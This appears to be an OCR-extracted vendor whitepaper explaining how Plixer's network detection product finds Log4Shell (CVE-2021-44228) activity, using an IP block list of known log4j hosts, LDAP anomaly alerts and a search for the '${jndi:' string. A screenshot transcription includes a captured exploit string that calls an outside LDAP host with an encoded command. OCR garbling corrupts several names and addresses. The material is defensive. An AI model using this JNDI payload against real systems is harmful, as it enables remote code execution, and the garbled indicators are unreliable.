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Introduction

It has happened again: a vulnerability as big as—or perhaps bigger
than—the Heartbleed vulnerability (CVE-2014-0160) in OpenSSL
has been discovered in a commonly used Java library called logaj.
Dubbed log4jShell or log4jam (CVE-2021-44228), the vulnerability
can be exploited with a specific string that allows a hacker to exe-
cute remote code, thus compromising the system.

For network and security operations teams, it is important to under-
stand the risk to the business caused by this vulnerability, and then
go about the laborious process of patching each infected system.
Visibility of the network, its traffic, and the host behaviors on the
network are the keys to being successful in mitigating this situation.
To do this, you need a solution that can and will give a complete
picture of the network. Plixer gives you that complete picture by
providing pervasive visibility across the network using flow telem-
etry from the network infrastructure.

Visibility and reporting

With Plixer, security operations teams can easily determine if hosts
on the network have been communicating with any of the known
logaj sites. One way of doing this is to download a list of known
log4j site IPs and use the host index search to filter through the
metadata history. This method lets you quickly see related traffic
and identify compromised hosts.
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Here you can see where we copied the known list of IP’s in the Host Index search function
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By using this method, you get a valuable snapshot of the traffic
on the network; however, the process is still manual and must be
repeated regularly. A more permanent solution is to load the list
of IP addresses into an IP Group. By using this IP Group as a filter
with your traffic report, you can reduce multiple steps. Saving the
report and adding a threshold can also automatically alert users
to suspected log4j network traffic when it occurs. This report also
provides contextual data that is required during the investigation
and auditing process.

IP Group Name: LOG4J [Edit]

IP Group Type: external v

Rules Search

IP Address v |IP Address Add

IP Address 101.204.24.28 [Edit] [Remove]
IP Address 101.43.40.206 [Edit] [Remove]
IP Address 103.103.0.141 [Edit] [Remove]
IP Address 103.232.136.60 [Edit] [Remove]
IP Address 109.205.176.248 [Edit] [Remove]
IP Address 109.73.65.32 [Edit] [Remove]
IP Address 110.42.200.96 [Edit] [Remove]
IP Address 111.59.85.209 [Edit] [Remove]
IP Address 112.74.185.158 [Edit] [Remove]
IP Address 112.74.34.48 [Edit] [Remove]
IP Address 113.141.64.14 [Edit] [Remove]
IP Address 113.219.171.101 [Edit] [Remove]

ID AdAdrace 11208 794 AR [CAi+] [Ramnual

To help lessen the steps for regenerating this report we recommend building an IP Group and continually
adding new IP’s. By using this method you only need to filter by the IP Group you created.
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In this example we see no traffic. This means that at the time the report was generated we are not seeing any traffic from the specified hosts.

With a few clicks of the mouse and a little configuration, Plixer can
alert you when any host on the network is communicating with
known log4;j sites.

While this is a good start to protecting your network, it is still reac-
tionary. There are improvements that we recommend, which will
automate the detection of log4j malicious traffic and improve your
proactive stance. The drawback to using a list of log4j sites is that
these will change over time, so the configuration will have to be
updated every few days manually. The next step to enhancing your
approach is to employ a trusted intelligence feed via STIX/TAXII
and pair it with a Network Detection and Response (NDR) solution.

Detecting the threat

Plixer’s NDR platform not only provides visibility, but with advanced
flow analytics and supervised/unsupervised machine learning it
will detect lateral movement, indicators of compromise, data stag-
ing, and exfiltration. Log4j uses protocols like LDAP to remotely
pull down malicious code and execute it on a compromised system.
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Violation Timeline

CLIENT-HTTPS, 192168135

CLIENT-LDAP, 1921681.35

CLIENT-NETBIOS, 192168177

CLIENT-RDP, 10151

CLIENT-SMB, 1045.2

SERVER-SSH, 101.4.79

Plixer’sunsupervised machine learning will detect anomalous usage
of key services such as LDAP, which will effectively catch loggjam
during the initial compromise and lateral movement activities.

The future of log4j is uncertain at this moment. What we do know
is that it will proliferate and adapt. We suggest security operations
teams deploy NDR solutions like Plixer as part of a layered security
strategy.
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This alert is generated from Plixer’s unsupervised machine learning algorithms when anomalous behaviour is detected on the LDAP service.

In this example, we have detected a Server-LDAP anomaly on
192.168.1.35. This means we are seeing this client send significantly
more LDAP requests than are typical for this time. Furthermore, we
can see that it’s coming from a log4j-enabled server. This could
mean something suspicious is happening.

One important feature in Plixer’s NDR platform is the ability to
discover and profile endpoint devices—specifically, by cap-
turing network-based attributes and building a catalog of all
network-attached hosts. One of the network-based attributes
that are recorded is User-Agent strings. Using the advanced search
function, any individual can search for the malicious log4j string
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($¢jndi:) to return a list of all compromised endpoints. Plixer’s
reporting engine can then help complete the picture with conver-
sation reports, adding additional context to the hosts involved in
the incident.

Endpoint Console > Endpoints > Directory

DASHBOARD

Endpoint Report

00:50:56:92:8:d8

CONFIGURATION

~ Endpoint Summary Profile Data Endpoint Events MAC History IP History Risk
ENERGRECURSEEE MAC Vendor: Current Location:
[ J—
VMware, Inc. — 9300stack
°o— 1011.5 on Port Te4/1/6 (266)

LIS Current Profile:

Apache Web Server

SNMP Device Name System Location:
Show Other Profiles
SPONSORSHIP 25 switch-9300- Data_Center-
N — stack.plixer.com 68_Main_st
Latest IP Address Mapping: -
REPORTS 192.168.1.35
Discovered: Data Updated:
HIGH Dec 15,2021, 6:21 Dec 19, 2021,
am 10:52 am

ENDPOINT RISK

From the alarm we can dig into the activities of the internal host that has been communicating
with the log4j IP Group. In this example we are able to see the profile of that host.

Endpoint Console > Endpoints > Directory

DASHBOARD

Endpoint Report

00:50:56:92:3d:56

CONFIGURATION

Endpoint Summary Profile Data Endpoint Events MAC History IP History Risk

ENDPOINT CONSOLE ——
oHer @) Actie @ Misc. @ raoius @ Software @ Traffic @ custom @@) Healthcare (@)
Directory
e _
PROTOCOL  PORT SERVER  DATA
SPONSORSHIP

tep(6) http(80) true Apache/2.4.6 (CentOS) OpenSSL/1
tep(6) ssh(22) true

REPORTS

tep(6) https(443) true ${jndi:ldap://45(.)155(.)205(.)233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUUMTUIL]IwNS4yMzM6NTg3NC

From their profile we can search endpoint data for log4j string

Detect log4j and other new vulnerabilities as they occur with Plixer for NDR



Plixer’s NDR platform not only provides network visibility through the
ingestion of flow data, but also provides a platform for early detection
and device-level specifics that can help enterprises quickly respond to
threats.

Conclusion

Unfortunately, loggjam won’t be the last vulnerability we encounter in
our lifetimes. The fact is that no matter what the vulnerability is, the
steps remain the same. Detect, investigate, and report. Having a solu-
tion that gives total visibility with modern-day detection of threats is
an important tool in the SecOps toolbox. Plixer’s solution is the most
cost-effective and versatile solution that can be shared effectively
between NetOps and SecOps.

To learn more about the Plixer solution, request a demo.

About Plixer

Plixer’s Network Detection and Response platform provides the intel-
ligence and visibility needed to quickly respond to malicious network
traffic. Plixer identifies anomalous behavior and provides the historical
data needed to investigate threats faster. Once a threat is identified,
Plixer empowers enterprises to address those threats within their
existing workflow processes.
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